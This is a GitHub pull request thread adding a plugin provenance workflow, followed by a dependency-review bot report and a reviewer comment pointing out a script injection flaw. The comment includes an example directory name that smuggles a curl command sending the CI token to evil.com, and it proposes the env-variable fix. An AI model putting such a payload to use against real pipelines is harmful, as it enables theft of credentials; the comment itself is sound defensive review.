feat: Add provenance verification for plugins

[vijayCarta]

Summary

• Adds provenance check that runs on PRs touching plugins/**
• Verifies each changed plugin exists in carta/claude-marketplace main branch
• Verifies plugin passed security scanning (checks security-manifest.json)
• Verifies content integrity via SHA-256 hash comparison

Changes Made

• .github/scripts/verify-provenance.py — Python 3.12 provenance verifier (3 checks: exists, passed, hash match)
• .github/workflows/provenance-check.yml — Workflow triggered on PRs with plugins/** changes

Dependencies

• Requires carta/claude-marketplace security scan pipeline to be merged first (generates the manifest this workflow reads)

Test plan

• Open PR adding a plugin that exists in claude-marketplace → verify provenance passes
• Open PR adding a plugin NOT in claude-marketplace → verify it fails with clear error
• Modify plugin content after copying from marketplace → verify hash mismatch is caught

🤖 Generated with Claude Code

[github-actions]

Dependency Review

The following issues were found:

• ✅ 0 vulnerable package(s)
• ✅ 0 package(s) with incompatible licenses
• ✅ 0 package(s) with invalid SPDX license definitions
• ⚠️ 2 package(s) with unknown licenses.

See the Details below.

Snapshot Warnings

⚠️: No snapshots were found for the head SHA 55201ad.

Ensure that dependencies are being submitted on PR branches and consider enabling retry-on-snapshot-warnings. See the documentation for more information and troubleshooting advice.

License Issues

.github/workflows/provenance-check.yml

Package	Version	License	Issue Type
actions/checkout	4.*.*	Null	Unknown License
actions/setup-python	5.*.*	Null	Unknown License

OpenSSF Scorecard

Package	Version	Score	Details
actions/actions/checkout	4.*.*	🟢 6	Details Check Score Reason Maintained ⚠️ 2 3 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 2 Code-Review 🟢 10 all changesets reviewed Binary-Artifacts 🟢 10 no binaries found in the repo Dangerous-Workflow 🟢 10 no dangerous workflow patterns detected CII-Best-Practices ⚠️ 0 no effort to earn an OpenSSF best practices badge detected Token-Permissions ⚠️ 0 detected GitHub workflow tokens with excessive permissions Packaging ⚠️ -1 packaging workflow not detected License 🟢 10 license file detected Fuzzing ⚠️ 0 project is not fuzzed Signed-Releases ⚠️ -1 no releases found Pinned-Dependencies 🟢 3 dependency not pinned by hash detected -- score normalized to 3 Security-Policy 🟢 9 security policy file detected Branch-Protection 🟢 6 branch protection is not maximal on development and all release branches SAST 🟢 8 SAST tool detected but not run on all commits
actions/actions/setup-python	5.*.*	🟢 5.2	Details Check Score Reason Maintained ⚠️ 2 3 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 2 Code-Review 🟢 10 all changesets reviewed Binary-Artifacts 🟢 10 no binaries found in the repo CII-Best-Practices ⚠️ 0 no effort to earn an OpenSSF best practices badge detected Packaging ⚠️ -1 packaging workflow not detected Dangerous-Workflow 🟢 10 no dangerous workflow patterns detected Token-Permissions ⚠️ 0 detected GitHub workflow tokens with excessive permissions Pinned-Dependencies ⚠️ 0 dependency not pinned by hash detected -- score normalized to 0 License 🟢 10 license file detected Fuzzing ⚠️ 0 project is not fuzzed Signed-Releases ⚠️ -1 no releases found Security-Policy 🟢 9 security policy file detected Branch-Protection ⚠️ 0 branch protection not enabled on development/release branches SAST 🟢 9 SAST tool is not run on all commits -- score normalized to 9

Scanned Files

• .github/workflows/provenance-check.yml

[kidd0123]

@claude There's a GitHub Actions script injection vulnerability on line 34 of .github/workflows/provenance-check.yml. The ${{ steps.changes.outputs.changed_plugins }} expression is interpolated directly into a run: shell command, which means
an attacker could create a PR with a malicious directory name like plugins/$(curl evil.com?t=$GH_TOKEN)/foo.txt and get arbitrary code execution in CI.

Fix — change the "Verify provenance" step from:
run: python .github/scripts/verify-provenance.py "${{ steps.changes.outputs.changed_plugins }}"
env:
GH_TOKEN: ${{ github.token }}
PROVENANCE_REPO: ${{ vars.PROVENANCE_REPO }}
to:
run: python .github/scripts/verify-provenance.py "$CHANGED_PLUGINS"
env:
GH_TOKEN: ${{ github.token }}
PROVENANCE_REPO: ${{ vars.PROVENANCE_REPO }}
CHANGED_PLUGINS: ${{ steps.changes.outputs.changed_plugins }}

Passing the value through env: instead of ${{ }} in run: prevents shell interpretation of special characters.